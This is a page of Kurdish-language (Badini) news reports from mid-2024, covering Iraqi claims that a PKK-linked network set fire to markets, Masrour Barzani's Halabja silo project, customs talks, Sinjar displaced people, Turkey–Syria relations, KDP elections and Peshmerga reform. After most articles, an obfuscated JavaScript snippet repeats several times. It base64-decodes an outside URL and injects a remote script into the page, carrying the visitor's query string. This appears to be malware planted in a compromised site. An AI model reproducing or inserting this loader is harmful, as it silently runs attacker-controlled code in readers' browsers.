پەیڤدارێ وەزارەتا ناڤخوەییا ئیراقێ راگەهاند: تۆڕەكا سەر ب پەكەكێ، یەكەیا 70 و دژە تیرۆرا سلێمانیێ د دەمێ بۆریدا ئاگر ل چەندین مۆل و بازاڕان ل هەرێما كوردستانێ بەردابوو، دیاركر ژی ئارمانجا وان ب ئەڤی كاری تێكدانا سەقامگیرییا هەرێما كوردستانێ و لاوازكرنا ئابۆرێ وێ بوو.
دوهی دوشەمبی 1/7/2024، میقداد میری، پەیڤدارێ وەزارەتا ناڤخوەییا ئیرا د كۆنفرانسەكێ رۆژنامەڤانیێ هەڤپشكدا ل گەل د. هێمن میرانی، رێڤەبەرێ گشتیێ دیوانا وەزارەتا ناڤخوە ل حوكمەتا هەرێما كوردستانێ، راگەهاند» تۆرەكا سەر ب پارتییا كاركەرێن كوردستانێ (پەكەكە) و دو كەسێن سەر ب یەكەیا 70 و دژە تیرۆرا سلێمانیێ، ل پشت هەموو وان ئاگربەربوونا بوون كو ل دەمێ بۆری ل بازاڕێن هەرێما كوردستانێ و كەركووكێ كەفتین».
پەیڤدارێ وەزارەتا ناڤخوەییا ئیراقێ رۆهنكر كو ژ ئەنجامێن ڤەكۆلینێن وان كو ب هەماهەنگی ل گەل دەزگەهێن ئەمنی یێن هەرێما كوردستانێ ئەنجامداین، دیاربوو، ئارمانجا ئەوان كەسان ژ سوتنا بازاڕێ قەیسەری ل كەركووكێ، بازاڕێ قەیسەری ل هەولێرێ، بازاڕێ لەنگەی ل هەولێرێ، بازاڕێ چەلێ ل دهۆكێ و چەندین جهێن دی ل هەرێما كوردستانێ، لاوازكرنا ئابۆرێ ئەوان پارێزگەهان بوو، چونكە زیانێن ئابۆریی یێن ئەوان ئاگربەربوونان زێدەتر ژ 300 ملیۆن دۆلاران بوو، هەروەسا ئارمانجەكا دی، تێكدانا سەقامكیرییا هەرێما كوردستانێ بوو».
پەیڤدارێ وەزارەتا ناڤخوەییا ئیراقێ گۆت ژی» تۆمەتباران دانپێدان ب تاوانێن خوە كرییە و پلان دانابوو ل دەمێ داهاتی هێرشێ بكەنە سەر چەندین جهێن دی ل بەغدا و پارێزگەهێن دی ل ئیراقێ، هەروەسا چەندین جهان ل وەلاتێن دەوروبەر، بەلێ هێزێن ئەمنی ل ئیراقێ و هەرێما كوردستانێ ب هەماهەنگی ل گەل هەدو، شیان پانێن وان ژناڤ ببەن» .
دیاركر ژی» د دەمێ هەردو سالێن 2023 و 2024 ئەوی گرۆپی هەر ئێك ژ بازاڕێ لەنگەی ل هەولێرێ (دو جاران)، كوگایەك ل قۆشتەبە، بازاڕێ قەیسەری ل هەولێرێ، بازاڕێ چەلێ ل دهۆكێ و چەندین دوكان و جهێن دی یێن سوتین».
د پشكەكا دی یا داخۆیانیێن خوەدا، پەیڤدارێ وەزارەتا ناڤخوەییا ئیراقێ بەرچاڤكر» ل دەمێ دەستەسەركرنا تۆمەتباران، دەست ب سەر هەژمارەكا مادەیێن كیماوی ژی هاتە گرتن كو د هاریكار بوون ل گەل وان بۆ سوتنا بازاڕ و مۆلان ل هەرێما كوردستانێ».
ناڤبری ئاشكراكر ژی» ئارمانجەكا دی یا تۆرا سەر ب پەكەكێ و یەكەیا 70 و دژە تیرۆرا سلێمانیێ، پەقاندنا بۆرییا پەترۆلیی جەیهان بوو كو كەركووكێ ب توركیا ڤە گرێددەت».
ژ ئالیێ خوەڤە د. هێمن میرانی، رێڤەبەرێ گشتیێ دیوانا وەزارەتا ناڤخوە ل حوكمەتا هەرێما كوردستانێ ل دۆر ئەوان كەسێن بازاڕ ل هەولێر، دهۆك و كەركووكێ سوتین، گۆت » سێ ژ ئەوان تاوانباران یێن ل ڤێرێ، ئێك ژوان سەرپەرشتێ كاری بوو و ناڤێ وی (هونەر فەخرەدین ئەحمەد) و كارمەندێ یەكەیا 70 یە، یێ دی ناڤێ وی (محەمەد نەجات حەسەن) و ئەفسەرە ل دژە تیرۆرا ئێكەتییە، ئەو ژ ئالیێ پەكەكێ ڤە هاتبوونە تەجنیدكرن و كادرێن ئەمنی و لەشكری یێن پەكەكێ ژ قەندیل هاتبوو ل كفری و ل سلێمانیێ و ل سەنگەسەر راهێنان پێ كرینە بۆ ئەوێ چەندێ كارێن تیرۆرستی بكەن و نوك دەستێ دادپەروەریێ یێ گەهشتیێ.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

سەرۆكێ حوكمەتا هەرێما كوردستانێ ل گەل پارێزگەرێ سلێمانیێ و قایمقامان قەزایێن سەر ب پارێزگەها سلێمانیێ كۆمبوو و راگەهاند: ئەوا د شیانێن مە دا بیت دێ كەین بۆ خزمەتكرنا زێدەتر ی خەلكێ خوەشتڤیێ سلێمانیێ و باشتركرنا خزمەتگوزاریێن گشتی ل ئەڤێ پارێزگەهێ.
مەسرور بارزانی، سەرۆكێ حوكمەتا هەرێما كوردستانێ د سەرەدانا خوە یا دوهی ئێكشەمبی بۆ ارێزگەها هەلەبجە پشتی بەرێ بنیاتێ سایلۆیا هەلەبجە دانای، سەرەدانا هاڤینگەها ئەحمەد ئاوا كر و ل گەل كەسایەتیێن هەلەبجە، سەید سادق، پێنجوێن و شارەزوور كۆمبوو.
سەرۆكێ حوكمەتا هەرێما كوردستانێ د كۆمبوونا خوە دا ل گەل كەسایەتیێن پارێزگەها هەلەبجە، ئاماژە ب گرنگییا دەڤەرا هەورامان كر كو دیرۆكەكا دیار یا خەباتا گەلێ كوردستانێ یا هەی و دەڤەرەكا گەشتیارییا گرنگە.
سەرۆكێ حوكمەتا هەرێمێ راگەهاند» ئەم خزمەتكرنا خەلكێ كوردستانێ ب ئەركێ خوە یێ سەرەكی دزانین و دێ هەموو بزاڤان كەین ژ پێخەمەت زێدەتر گەشەپێدانا ئەڤێ دەڤەرێ و پێشڤەبرن ب كارنامەیا حوكمەتێ د بوارێ هەمەجركرنا ئابۆری و پەیداكرنا دەلیڤەیێن كاری بۆ گەنجێن مە».
سەرۆكێ حوكمەتا هەرێما كوردستانێ سەرەدانا ئاڤاهیێ پارێزگەها سلێمانیێ ژی كر و ل گەل هەڤال ئەبوبەكر، پارێزگەرێ سلێمانیێ و قایمقامێن ئەوی سنۆری كۆمبوو.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

وەزارەتا پلاندانا ئیراقێ راگەهاند: شاندێ هەرێما كوردستانێ و تیما حوكمەتا فیدرالی رێككەفتن بۆچوونەكا گشتگیر بۆ بجهئینانا سیاسەتا گۆمركی بدانن. هەروەسا بڕیار هاتە دان كار بهێتە كرن بۆ پێداچوونێ ب میكانیزمێن بجهئینانا قانوونا دەستەیا دەروازێن سنۆری و پێشنیاز بهێنە پێشكێشكرن بۆ ئەوێ چەندێ ئەو دەستەیە ئەركێ خوە بجهبینیت.
وەزارەتا پلندانانا ئیراقێ ئاماژەكر كو شاندێ هەرێما كوردستانێ و تیما حوكمەتا فیدرالی ل سەر كۆنووسا كۆمبوونا پێشتر رێككەفتن كو یا تایبەت بوو ب پێداچوونێ ب سیاسەتا گۆمركی ل دەروازێن سنۆری.
شاندێ هەرێما كوردستانێ پێكهاتبوو ژ وەزیرێ دارایی، وەزیرێ ناڤخوە و رێڤەبەرێ گشتیێ گۆمركێن هەرێما كوردستانێ.
سامال عەبدولرەحمان، رێڤەبەرێ گشتیێ گۆمركێن هەرێما كوردستانێ د داخۆنییەكا رۆژنامەڤانیدا گۆت » كۆمبوونیچن مە ل بەغدا د ئەرێنی بوون».
دهێتە زان ئەو كۆمبوونێن شاندێ هەرێمێ ل بەغدا ئەنجامداین تایبەت بوون ب ئەوێ چەندێ كا چاوان ژ نوكە و وێڤە بشێن گۆمركان ب هەڤپشكی بڕێڤەببەن، بەلێ هێشتا بڕیارا دووماهیێ نەهاتییە دان، ل دووڤ رێڤەبەرێ گشتیێ گۆمركێن هەرێما كوردستانێ، د كۆمبوونێدا بڕیار هاتە دان كۆمبوون د بەردەوام بن و ل دەمەكێ نێزیك بچنە دوبارە بچنە بەغدا، بۆ ئەوێ چەندێ رێككەفتن بهێتە كرن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

جێگرێ پارێزگارێ نەینەوا راگەهاند، بڕیارا وەزارەتا كۆچ و كۆچبەرێن ئیراقێ بۆ زڤڕینا ئاوارەیێن شنگالێ ناهێتە بجهئینان، چونكە هەتاكو رێككەفتنا شنگالێ نەهێتە بجهئینان، ئاوارە د بەرهەڤ نینن بزڤڕن، ژ بەر كو مەترسی ل سەر ژیانا وان یا هەی و رەوشا ئەمنی یا سەقامگیر نینە.
سیروان رۆژبەیانی، جێگرێ پارێزگارێ نەینەوا د داخۆیانییەكا رۆژنامەڤاندا گۆت: ئەم وەكو حوكمەتا خوەجهـ یا نەینەوا ل گەل ئەوێ چەندێ نە هەموو ئاوارە بزڤڕن بۆ سەر مال و حالێن خوە، بەلێ ل گەل ئەوێ چەندێ دا نینین ئاوارە د نوكە دا بزڤڕن، چونكە رەوشا ئەمنی یا ئارام نینە و د دەستێ ئیراقییان دا نینە، لەوما بڕیارا وەزارەتا كۆچ و كۆچبەرێن ئیراقێ دژی ئاوارەیان و برایێن ئێزدی هاتییە دەركرن و دخوازن ب زۆری ڤەگەرینن، بەلێ ژ بەركو زیانەكا مەزن گەهشتییە وان و نوكە ژی رۆژانە شنگال دهێتە تۆپبارانكرن، هەكە بزڤڕن دێ ژیانا وان دوبارە كەڤیتە د مەترسیێدا، لەوما ئەو ب خوە نازڤرن و مە ژی ل گەل حوكمەتا فیدرالی دوپاتی ل سەر ئەوێ چەندێ كرییە كو پێدڤییە رێككەفنا شنگالێ بهێتە بجهئینان».
سیروان رۆژبەیانی، جێگرێ پارێزگەرێ نەینەوا رۆهنكر ژی» هەكە رێككەفتنا شنگالێ بهێتە بجهئینان، رەوشا دەڤەرێ دێ گەلەك ژ پێشتر باشتر بیت و پێدڤییە قایمقامەكێ نوو بهێتە دانان و ئیدارەیەكا شەرعی بزڤریتە شنگالێ».
پتر گۆت » نوكە ئیدارەیەكا نەشەرعی ل شنگالێ یا هەی، كو ئەم رەفتارێ دگەلدا ناكەین، لەوما ئەم پێداگیریێ ل سەر بجهئینانا رێككەفتنا شنگالێ دكەین بۆ ئەوێ چەندێ كوردێن ئێزدی بزڤڕن بۆ سەر مال و حالێن خوە و بشێن ب ئارامی بزڤڕن و ئیدارەیەك رەفتارێ د گەلدا بكەت و خزمەتا وان بكەت و یا شەرعی بیت».
ئاماژەكر « كوردێن ئێزدی ب خوە ژ ترسێن داعشێ ین ئاوارە بووین و نوكە ئەو ب خوە نازڤرن بۆ شنگالێ ژ ئەگەرێ ئەوێ چەندێ رەوش یا ئارام نینە و رۆژانە ژ بەر پەكەكێ شنگال دهێتە تۆپبارانكرن، لەوما رەوشا ئەمنییا شنگالێ یا سەقامگیر نینە و بڕیارا وەزارەتا كۆچ و كۆچبەرێن ئیراقێ ناهێتە بجهئینان هەتا رەوشا شنگالێ ئارام نەبیت و رێككەفتنا شنگالێ نەهێتە بجهئینان، ژ بەر كو وەزارەتا كۆچ و كۆچبەرێن ئیراقێ هیچ بۆ ئەوان نەكرییە و ل شوونا كو هاریكارییا ئاوارەیان بكەت و رەوشا شنگالێ ئاسایی بكەت و ئەو هەموو هێزێن تێدا بهێنە دەركرن، دهێت فشارێ دكەت و ئەڤە ب هیچ شێوەیەكێ نابیت و ئاوارە قەبوول ناكەن ب وی شێوەی بزڤڕن».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

ب، سه‌رجان مەحمود:

بەرپرسەکێ رێڤەبەریا خوەسەر یا باکورێ سووریێ دیار دکەت، تورکیا دڤێت ب هەر رەنگێ هەی دەست ب ئۆپەراسیۆنەکا نوو ل دژی رۆژئاڤایێ کوردستانێ بکەت، نها تورکیا بەرهەڤە هەر تشتەکێ بکەت دا شامێ رازی بکەت ئەو پێکڤە ئێرشی رۆژئاڤایێ کوردستانێ بکەن، رەوشا نها گەلەک مەترسیدارە و دێ کاریگەریەکا خراب بۆ کوردێن رۆژئاڤایێ کوردستن هەبیت.

بەرپرسەکێ رێڤەبەریا خوەسەر یا باکورێ سووریێ راگەهاند، بەرپرسێن تورکیا دەمەکە یێ بزاڤا دکەن دا ل گەل سووریێ دەست ب قۆناغەکا نوو بکەن، ئارمانجا سەرەکی یا تورکیا ژ ئاساییکرنا پەیوەندیێن ل گەل شامێ ژی تنێ بۆ نەمانا ئیرادا کوردانە، تورکیا بەرهەڤە هەر کارەکێ بکەت دا شام ل دژی رێڤەبەریا خوەسەر شەڕی راگەهینیت و ژ بۆ ڤێ یەکێ ژی د ڤان رۆژێن دووماهیێ دا بەرپرسێن تورکیا بزاڤان دکەن دا شامێ رازی بکەن ل دژی کوردان شەڕی راگەهینیت.
هەمان بەرپرسی کو ناڤی وی نەهاتیە ئاشکرا کرن ئەو یەک ژی دیار کریە، چەند رۆژان بەری نها رەجەب تەیب ئەردۆغانێ سەرۆک کۆمارێ تورکیا ب رەنگەێ ئاشکرا دیار کر ئەو بەرهەڤن هەموو پرسێن هەی ل گەل شامێ چارەسەر بکەن و دەم یێ هاتی وەکو تورکیا ل گەل شامێ دەست ب قۆناغەکا نوو بکەن، ئەڤ داخۆیانیا ئەردۆغانی ژی نیشا ددەت تورکیا بەرهەڤیێن خوە کرینە و ئامادەیە گەلەک ژ داخوازیێن شامێ قەبوول بکەت دا تنێ شام یا رازی بیت ل گەل تورکیا شەڕی ل دژی رێڤەبەریا خوەسەر یا باکورێ سووریێ راگەهینیت.
ئەو یەک د دەمەکێ دایە کو بەری دو رۆژان هەدیە لەڤەنت رۆژنامەڤانا تورکیا ژی راگەهاند حوکمەتا تورکیا رازی یە داخوازیێن سووریێ قەبوول بکەت و هەموو هێزێن خوە ژ ئاخا سووریێ ڤەکێشیت، تنێ ئێک داخوازی ژ شامێ هەیە، تورکیا د رەوشا نها دا تنێ ڤێ شامێ رازی بکەت دا ئەو پێکڤە ل دژی رێڤەبەریا خوەسەر یا باکورێ سووریێ کار بکەن، تورکیا دڤێت ل گەل شامێ ئێرشی رێڤەبەریا خوەسەر بکەت و پشتی ژناڤبرنا رێڤەبەریا خوەسەر تورکیا ژی بەرهەڤە هەموو هێزێن خوە ژ ئاخا سووریێ ڤەکێشیت، لێ هەتا نها شامێ ب فەرمی ل هەمبەر ڤێ داخوازیا تورکیا هەلوەستێ خوە دیار نەکریە.
چاڤدێرێن سیاسی ژی دیار دکەن، تورکیا دڤێت خوە ژ بابەتێ سووریێ قورتال بکەت، چونکی یا ئێکێ تورکیا د قەیرانەکا گەلەک مەزن یا ئابووری دایە و پارەکێ گەلەک مەزن ژی بۆ هێزێن خوە یێن ل سووریێ دمەزێخیت و ئەو یەک ژی بوویە جهێ نەرازیبوونا گەلەک ژ ئەندامێن کابینا حوکمەێ، ژ بەر ێ یەکێ ژی ئەردۆغانی دڤێت ب رێککەفتنەکا نوو ل گەل شامێ هێزێن خوە ژ ئاخا سووریێ ڤەکێشیت و د هەمان دەمی دا ئەردۆغانی دڤێت ڤەکێشانا هێزێن تورکیا وەکو سەرکەفتنەکێ ژی نیشا بدەت و رێ نەدەت وەکو کارتەکێ بۆ هەلبژارتنێن بهێت ژ ئالیێ ئۆپۆزسیۆنێ ڤە ل دژی وی بهێتە بکارئینان.
ل گۆر باوەریا چاڤدێرێن سیاسی ل تورکیا، نها پێگەهێ ئەردۆغانی و حوکمەتا وی گەلەک لاواز بوویە، د هەلبژارتنێن هەری دووماهیێ دا ژی پارتا کۆماری شیا پشتی چەندین سالان ل هەمبەر ئاکپارتیێ سەرکەڤیت و ببیتە پارتا ئێکێ، هەکە قەیرانا ئابووری بەردەوام بیت ئۆپۆزسیۆنا تورکیا دێ داخوازا هەلبژارتنێن پێشەخت کەت و دبیت ب رێیا هەلبژارتنان ژی دووماهی ب دەستهەلاتا ئاکپارتیێ بهێت، ژ بەر ڤێ یەکێ ژی نها ئەردۆغان و هەڤالێن وی دخوازن ب رێیا شەرەکێ نوو و سەرکەفتنەکێ ل سووریێ جارەکا دی دەنگێ نەتەوەپەرستان بۆ خوە کۆم بکەن، ژ بەر ڤێ یەکێ ژی نها تورکیا ب هەموو رەنگەکێ یێ کار دکەت دا بشێت شامێ رازی بکەت دا ئەو پێکڤە ئێرشی رێڤەبەریا خوەسەر بکەن.
ئەو یەک د دەمەکێ دایە کو مەها بۆری بەشار ئەسەد سەرۆکێ رژێما سووریێ ژی د کۆمبوونا سەرکردایەتیا پارتا خوە دیار کربوو ئەو دێ ل گەل رێڤەبەریا خوەسەر دەست ب دانوستاندنان کەن، چونکی وەکو سووریێ وان نەڤێت چو شەڕێن دی روو بدەن و ئەو دشێن ل گل رێڤەبەیا خوەسەر ب رێیا دانوستاندنان هەموو پرسێن هەی چارەسەر بکەن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

دوهی ئێكشەمبی 30/6/2024، مەسرور بارزانی، سەرۆكێ حوكمەتا هەرێما كوردستانێ سەرەدانا پارێزگەها هەلەبجە كر و بەرێ بنیاتی بۆ ئاڤاكرنا سایلۆیا هەلەبجە ب گۆژمەیێ 26 ملیار دیناران دانا. كو ئەو سایلۆ ل سەر رووبەرێ 52 دۆنەمێن ئەردی دێ هێتە دروستكرن و شیانێن عمباركرنا 40 هزار تەنێن گەنمی دێ هەبن، ل گەل 10 كۆگا بۆ عمباركرنا گەنمی و بۆ تمامكرنا پڕۆژەی 700 رۆژ هاتنە دیاركرن.
سەرۆكێ حوكمەتا هەرێما كوردستانێ د رێورەسمێ دانانا بەرێ بنیاتی د پەیڤەكێدا راگەهاند» خوەشحالم جارەكادی دەلیڤە بۆ مە پەیدابوو كو بهێینە خزمەتا خەلكێ خوەشتڤی و نیشتمانپەروەرێ هەلەبجە بۆ دانانا بەرێ بنیاتێ پڕۆژەیێ سایلۆیا هەلەبجە كو پێدڤییە ل دەمێ دیاركریێ خوە و ل دووڤ مەرج و پیڤەرێن نێڤدەولەتی بهێتە بجهئینان و بكەڤیتە د خزمەتا خەلك و جوتیارێن ئەڤێ دەڤەرێ».
مەسرور بارزانی ئاماژە بۆ ئەوێ چەندێ ژی كر» ل حەفتییا بۆری، شاندەكێ بەرێز یێ جڤاتا پشتەڤانییا پارێزگەها هەلەبجە كو یێ پێكهاتی بوو ژ كەسایەتیێن ناڤدارێن پارێزگەها هەلەبجە، سەرەدانا م كر و مە گەنگەشەكا ب مفا كر ل دۆر چاوانییا گەشەپێدانا پارێزگەها هەلەبجە و بەر ب پێشڤەبرنا خزمەتگوزارییان و بنەما و ژێرخانەیا ئابۆری ل ئەوێ دەڤەرێ، ب شێوەیەكی كو وەبكەین خەلكێ دەڤەرێن دی یێن كوردستانێ وئیراقێ و دەوروبەر ژی بۆ كاروبارێن بازرگانی، روو ل ئەڤێ دەڤەرێ بكەن ئەڤ چەندە ژی دڤێت ب رێكا ئەنجامدانا پڕۆژەیێن جۆراوجۆر بیت كو هیڤیدارم كەرتێ تایبەت ژی ل ڤێرێ و ل دەڤەرێن دی یێن كوردستانێ ژی هاریكار بیت بۆ زێدەتر گەشەپێدانا ئابۆری ل پارێزگەها هەلەبجە».
هەڤدەم، سەرۆكێ حوكمەتا هەرێما كوردستانێ راگەهاند» هەرچەندە زێدەتر ژ 10 سالایە حوكمەتا هەرێما كوردستانێ بڕیارا پارێزگەهبوونا هەلەبجە یا دای، بەلێ مخابن هەتا نوكە ژی پێرابوونێن ب پارێزگەهبوونا هەلەبجە ژ ئالیێ جڤاتا نوونەرێن ئیراقێ و حوكمەتا فیدرالی نەهاتینە تمامكرن. لەوما دوپات دكەین كو پێدڤییە ئەڤ پێرابوونە ب لەز بهێنە تمامكرن و ل سەر ئاستێ فیدرالی ژی ب شێوەیەكێ فەرمی، وەكو پارێزگەهەك رەفتار ل گەل هەلەبجە بهێتە كرن و بودجەیا پێشڤەبرنێ بۆ بهێتە تەرخانكرن، سەبارەت ئەڤێ چەندێ ژی ئەم د پەیوەندییا بەردەوام داینە ل گەل ئالیێن پەیوەندیدارێن حوكمەتا فیدرالی بۆ ئەوێ چەندێ ب زووترین دەم ئەو پێرابوون بهێنە تمامكرن».
مەسرور بارزانی د پەیڤا خوەدا ئەوژی رۆهنكر» هەلەبجە وەكو پترییا دەڤەرێن كوردستانێ، قوربانییەكا مەزن یا دای و ستەمەكا مەزن ژ ئالیێ رژێما ئیراقێ یا بەرێ لێ هاتییە كرن و بوویە سیمبۆلا ستەملێكرنێ ل خەلكێ كوردستانێ، پێدڤییە خەلكێ زیانڤەكەفتیێن دەستێ رژێما بەرێ ل كوردستانێ و ئیراقێ ب گشتێ، ب شێوەیەكێ هەژی بهێنە قەرەبووكرن. دێ بزاڤێن خوە د ئەڤی بواریدا چڕكەین پێدڤییە هەموو ئالیێن سیاسی یێن هەرێما كوردستانێ ژی ل بەغدا، هەڤدەنگ و هەڤهەلویست بن د ئەڤی بواریدا».
ل دووماهیێ راگەهاند» هیڤیدارم هەلەبجە و كوردستانێ ب گشتی، هەردەم د گەشەپێدانێ و پێشكەفتنێ و ئاڤەدانییا زێدەتر دا بن».(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

هەلبژارتنێن ئۆرگانێن پارتی دیموكراتی كوردستان ب سەركەفتی دهێنە ئەنجامدان و ل دووماهییا ئەڤێ حەفتیێ ئەو پڕۆسەیە دێ ب دووماهی هێت.
ل رۆژا سێشەمبی 25/6/2024 هەلبژارتنێن ئۆرگانێن پارتی دیموكراتی كوردستان ل سەرانسەری هەرێما كوردستانێ ل 17 لقان دەستپێكربوو.
مالپەرێ فەرمیێ پارتی دیموكراتی كوردستان ب گۆڕەی پێزانێن ژ مەكتەبا سیاسییا پارتی ب دەستكەفتین بەلاڤكر» پڕۆسەیا هەلبژارتنێن ئۆرگانێن پارتی دیموكراتی كوردستان د چارچۆڤەیێ رێنمایێن پەیڕەو و پڕۆگرامێن پەسەندكری یێن كۆنگرەیێ 14 یێن پارتی بڕێڤەدچن، یا بەردەوامە، پترییا بنكە و رێكخراو و لیژنەیێن ناوچان هەلبژارتن ب سەركەفتییانە بۆ هاتینە ئەنجامدان، هەلبژارتن ب سەركەفتییانە بۆ پشكەك ژ لقان ژی هاتینە كرن، هەڤدەم ل هەموو سنۆرێ هەولێر، سلێمانی، دهۆك، كەركووك، گەرمیان، راپەرین هەلبژارتن هاتینە ئەنجامدان، ئەوێن ماین ژی لیژنە د كاری دانە و د بەردەوامن د پرۆسەیێدا، پێشبینی ژی دهێتە كرن ل دووماهییا ئەڤێ حەفتیێ هەموو هەلبژارتن د قۆناغا ئێكێدا ب دوومه بهێن هەتا هەلبژارتنێن مەكتەبێن رێكخستنێن پارێزگەهان.
هەڤدەم پڕۆسەیا هەلبژارتنان ل بن سەرپەرشتییا لیژنەیەكا بلند یا هەلبژارتنێن ئۆرگانێن پارتی ل گەل چەند لژنەیەیان ژی ل پارێزگەهان و لقان و ل لیژنەیێن ناوچان بڕێڤەدچن ئەڤ لیژنە ژی كادرێن پێشكەفتی و خودان شیان و شارەزا د بوارێ پڕۆسەیێدا بڕێڤە دبەن. ژبلی ئەوێ چەندێ ژی ل هەموو سنۆران لیژنەیەكا چاڤدێریێ و سكالایان یا هەی بۆ ئەوێ چەندێ هەر سكالایەكا هەبیت یان هەر جۆرە لادانەك هەبیت دوور ژ رێنمایان ب زووترین دەم بهێتە چارەسەركرن و ب باشترین شێوە و د چارچۆڤەیەكێ دیموكراسیدا هەموو ئۆرگان بهێنە هەلبژارتن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

وەزارەتا پێشمەرگەی ل حوكمەتا هەرێما كوردستانێ ئاشكراكر، پڕۆژەیێ چاكسازیێن وەزارەتا پێشمەرگەی پڕۆژەیەكێ نیشتمانییە بۆ هێزا پێشمەرگێ كوردستانێ و ئارمانج ژێ ئاڤاكرنا هێزەكا نیشتمانییا ئێكگرتییە.
ل دیوانا وەزارەتا پێشمەرگەی، ب بەرهەڤبوونا عەبدولخالق بابیری، بریكارێ وەزارەتا پێشمەرگەی و فەریق رۆكن عیسا عوزێر، سەرۆك ئەركان و هەژماەكا بەرپرسێن وەزارەتێ و كۆلۆنێل مەكێنزی، فەرماندەیێ هێزێن هەڤپەیمانان و كۆلۆنێل مایكل گاچیرۆ، بەرپرسێ نڤیسینگەها هاریكارییا ئاسایشێ ل قۆنسلخانەیا گشتییا ئەمریكا ل هەولێرێ، د كۆمبوونەكا بەرفرەهەدا هەلسەنگاندنا مەهانە بۆ یاداشتا تێكگەهشتنێ دناڤبەرا وەزارەتا پێشمەرگە و وەزارەتا بەرگرییا ئەمریكا هاتە كرن.
ب گۆڕەی بەیاننامەیەكا وەزارەتا پێشمەرگە، د ئەوێ كۆمبوونێدا، هەلسەنگاندنا مەهانە بۆ چاوانییا بجهئینانا بڕگە و خالێن یاداشتا تێكگەهشتنێ هاتە كرن و دوپاتی ل ب لەزكرنێ د پێنگاڤێن رێكخستنا یەكەیێن جودا یێن هێزێن پێشمەرگەی ب گۆڕەی پلانا ستراتیژی بۆ یەكخستنا هێزان هاتە كرن.
